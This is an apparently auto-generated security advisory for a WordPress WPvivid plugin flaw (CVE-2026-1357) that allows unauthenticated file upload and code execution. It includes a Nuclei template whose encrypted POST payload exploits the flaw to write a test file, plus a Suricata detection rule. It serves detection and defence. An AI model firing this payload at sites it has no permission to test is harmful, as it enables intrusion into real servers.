CVE-2026-1357: wpvividplugins WPvivid, advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

The Migration, Backup, Staging, WPvivid Backup & Migration plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Upload in versions up to and including 0.9.123. This is due to improper error handling in the RSA decryption process combined with a lack of path sanitization when writing uploaded files. When the plugin fails to decrypt a session key using openssl_private_decrypt(), it does not terminate execution and instead passes the boolean false value to the phpseclib library’s AES cipher initialization. The library treats this false value as a string of null bytes, allowing an attacker to encrypt a malicious payload using a predictable null-byte key. Additionally, the plugin accepts filenames from the decrypted payload without sanitization, enabling directory traversal to escape the protected backup directory. This makes it possible for unauthenticated attackers to upload arbitrary PHP files to publicly accessible directories and achieve Remote Code Execution via the wpvivid_action=send_to_site parameter.

Description quoted from the CVE record (assigned by Wordfence, published 2026-02-11).

Weakness: CWE-434 Unrestricted Upload of File with Dangerous Type

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: total.

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Nuclei template, 18 code repositories and 1 research write-up naming this CVE.

Nuclei template (ProjectDiscovery)

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 23 references on Exploit Observer

Live scores

EPSS: 0.390
likely to be attacked soon
VEDAS: 0.985
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei · Suricata

Who is affected

Product	Affected	Not affected
wpvividplugins WPvivid, Backup, Migration & Staging	up to and including 0.9.123	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

WordPress - Arbitrary File Upload
The Migration, Backup, Staging, WPvivid Backup & Migration plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Upload in versions up to and including 0.9.123. This is due to improper error handling in the RSA decryption process combined with a lack of path sanitization when writing uploaded files.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /, GET /wp-content/uploads/vt-swcqeg-test.txt); it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-1357.yaml

Show the template (60 lines)

yaml

id: CVE-2026-1357

info:
  name: "WordPress - Arbitrary File Upload"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to
    Unauthenticated Arbitrary File Upload in versions up to and including 0.9.123. This is due to improper error
    handling in the RSA decryption process combined with a lack of path sanitization when writing uploaded files.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-1357&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1357
    cwe-id: CWE-434
  metadata:
    verified: false
  tags: cve,cve2026,wordpress,wp,wp-plugin,wpvivid,file-upload,rce,vkev
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        wpvivid_action=send_to_site&wpvivid_content=MDAzQUJDMDAwMDAwMDAwMDAwMDExMDUGpYqxgOo0%2FZM3%2BLE%2B23CYS%2BI8Sbr6wwwU6dJweFxMk%2BOogH3GIpPZZMrm72oUS3vnrlf0AXv1vmGVBIbLo3QcQs%2B4JU7cLQw1kWByCFlYkpHcBuzxjEbVtT8VSdFgb6NLW6cpP4BdWT8bJx%2F%2FAOO09m3EFtf2sOcE%2BJjFJAew%2BELondwDkz3u5mssxGaQrlvWgaIlmPwz3FZx8dWC%2FHy7k4P3S5IJ7JV0tefjHJKCOzjPHngkZENu1uI2LmE6JaeF7XdXJCcmFOrNex4yJgIO0raawogHW457fM4wXKDnrM3bwxeLn5KwvAgadaTj4F9zWHxnjBmpa%2BtIaohISVcA5%2BGv6cAA95rzOoXBGUaI

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result":"success"'
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/vt-swcqeg-test.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CVE-2026-1357-swcqeg-verification-test"

      - type: status
        status:
          - 200

CVE-2026-1357.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-1357 WordPress - Arbitrary File Upload. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-1357 WordPress - Arbitrary File Upload"; flow:established,to_server; http.uri; content:"/wp-content/uploads/vt-swcqeg-test.txt"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-1357; reference:url,https://www.exploit.observer/?keyword=CVE-2026-1357&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact; sid:1011558; rev:1;)

CVE-2026-1357.rules on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.